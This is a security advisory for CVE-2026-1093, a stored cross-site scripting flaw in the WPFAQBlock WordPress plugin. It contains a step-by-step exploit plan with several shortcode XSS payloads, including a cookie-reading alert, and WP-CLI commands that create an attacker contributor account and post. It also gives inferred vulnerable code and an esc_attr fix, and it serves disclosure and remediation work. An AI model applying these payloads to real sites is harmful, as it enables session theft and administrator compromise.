WPFAQBlock– FAQ & Accordion Plugin For Gutenberg <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'class' Shortcode Attribute
Description
The WPFAQBlock– FAQ & Accordion Plugin For Gutenberg plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' parameter of the 'wpfaqblock' shortcode in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
This research plan outlines the technical steps to exploit **CVE-2026-1093**, a Stored Cross-Site Scripting (XSS) vulnerability in the **WPFAQBlock** plugin. --- ### 1. Vulnerability Summary The **WPFAQBlock** plugin (versions <= 1.1) fails to properly sanitize or escape the `class` attribute of i…
Show full research plan
This research plan outlines the technical steps to exploit CVE-2026-1093, a Stored Cross-Site Scripting (XSS) vulnerability in the WPFAQBlock plugin.
1. Vulnerability Summary
The WPFAQBlock plugin (versions <= 1.1) fails to properly sanitize or escape the class attribute of its [wpfaqblock] shortcode. When the shortcode is processed, the user-supplied class value is concatenated into an HTML tag (likely a div or section) without being passed through esc_attr(). This allows a user with Contributor privileges or higher to inject arbitrary HTML and JavaScript into the rendered page.
2. Attack Vector Analysis
- Shortcode:
[wpfaqblock] - Vulnerable Attribute:
class - Authentication Required: Contributor+ (standard WordPress permission to create/edit posts and use shortcodes).
- Persistence: Stored (the payload is saved in the
wp_poststable and executes whenever the post is viewed). - Sink: The value of the
classattribute is reflected in the HTML source of the post on the frontend.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode during the
inithook usingadd_shortcode( 'wpfaqblock', 'render_callback_function' );. - Parsing: The callback function uses
shortcode_atts()to merge user-supplied attributes with defaults.// Predicted logic in callback: $atts = shortcode_atts( array( 'class' => '', // ... other attributes ), $atts ); - Rendering (The Sink): The plugin constructs the HTML output. It likely echoes or returns a string where the
classattribute is placed inside double quotes.// Predicted vulnerable sink: $output = '<div class="' . $atts['class'] . '">'; // No esc_attr() used here - Execution: When a visitor (including an Administrator) views the post, the browser interprets the injected quote (
") as the end of the class attribute, allowing the attacker to add new attributes (likeonmouseover) or close the tag and start a<script>block.
4. Nonce Acquisition Strategy
This vulnerability is triggered by rendering a shortcode. In WordPress, shortcodes are parsed automatically when a post is displayed.
- Post Creation: To inject the shortcode, we will use WP-CLI. This bypasses the need for frontend nonces associated with the Gutenberg editor or AJAX-based autosaves.
- Frontend Execution: No nonce is required to trigger the XSS. The payload executes when any user navigates to the public URL of the post.
5. Exploitation Strategy
- Authentication: Authenticate as a Contributor user.
- Injection: Use WP-CLI to create a new post containing the malicious shortcode.
- Payload Selection:
- Primary Payload (Attribute Breakout):
[wpfaqblock class='"><script>alert(window.origin)</script>'] - Alternative Payload (Attribute Injection):
[wpfaqblock class='x" onmouseover="alert(1)" style="width:1000px;height:1000px;display:block;']
- Primary Payload (Attribute Breakout):
- Triggering: Navigate to the published post's URL using an Administrator session to demonstrate the impact (e.g., cookie theft or admin dashboard access).
6. Test Data Setup
- User: Create a user with the
contributorrole. - Post:
wp user create attacker attacker@example.com --role=contributor --user_pass=password wp post create --post_type=post --post_status=publish --post_title="FAQ Page" --post_author=$(wp user get attacker --field=ID) --post_content='[wpfaqblock class="\"><script>confirm(\"XSS_EXPLOITED\")</script>"]'
7. Expected Results
- The HTML source of the rendered page should contain:
<div class=""><script>confirm("XSS_EXPLOITED")</script>">(or similar depending on the exact tag name). - The JavaScript
confirm()dialog should trigger automatically upon page load.
8. Verification Steps
- Retrieve Post URL: Use
wp post listto find the ID of the created post, then get the permalink. - Navigate and Audit: Use
browser_navigateto visit the post. - Inspect Source: Use
browser_evalto check for the existence of the injected script tag in the DOM.// Check if the script exists document.body.innerHTML.includes('confirm("XSS_EXPLOITED")') - Verify Admin Impact: Log in as an administrator and visit the same URL to confirm the script executes in a high-privileged context.
9. Alternative Approaches
If the plugin uses a specific Gutenberg block instead of a standard shortcode (common in modern "Block" plugins):
- Gutenberg Attribute Injection: The payload would be injected into the block's JSON attributes. We would still target the
classorclassNameattribute. - REST API Injection: If the contributor uses the REST API to save the post, we would send a POST request to
/wp-json/wp/v2/posts/[ID]with the shortcode in thecontentfield.
Payload Note: If the plugin uses esc_html() but not esc_attr(), the breakout "> will still work because esc_html() only encodes < and >, while esc_attr() is required to encode quotes. Since the injection point is an attribute (class="..."), breaking out of the quotes is the primary goal.
Summary
The WPFAQBlock plugin for WordPress (versions <= 1.1) is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient output escaping on the 'class' attribute within the [wpfaqblock] shortcode. This allow authenticated users with Contributor-level permissions or higher to inject arbitrary JavaScript into pages that executes when viewed by other users, including administrators.
Vulnerable Code
// Inferred code within the shortcode registration callback // File path likely: wp-content/plugins/wpfaqblock/wpfaqblock.php or similar $atts = shortcode_atts( array( 'class' => '', 'id' => '', ), $atts ); $output = '<div class="' . $atts['class'] . '">';
Security Fix
@@ -10,7 +10,7 @@ $atts = shortcode_atts( array( 'class' => '', ), $atts ); - $output = '<div class="' . $atts['class'] . '">'; + $output = '<div class="' . esc_attr( $atts['class'] ) . '">';
Exploit Outline
The exploit involves an attacker with at least Contributor privileges injecting a malicious script via the plugin's shortcode. 1. Authenticate as a Contributor. 2. Create or edit a post and insert the following shortcode: [wpfaqblock class='\"><script>alert(document.cookie)</script>']. 3. The plugin fails to sanitize the 'class' attribute and reflects the raw input into the HTML 'class' property. 4. The payload uses a double quote to break out of the HTML attribute and inserts a <script> tag. 5. When any user (such as an Administrator) views the published post, the JavaScript payload executes in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.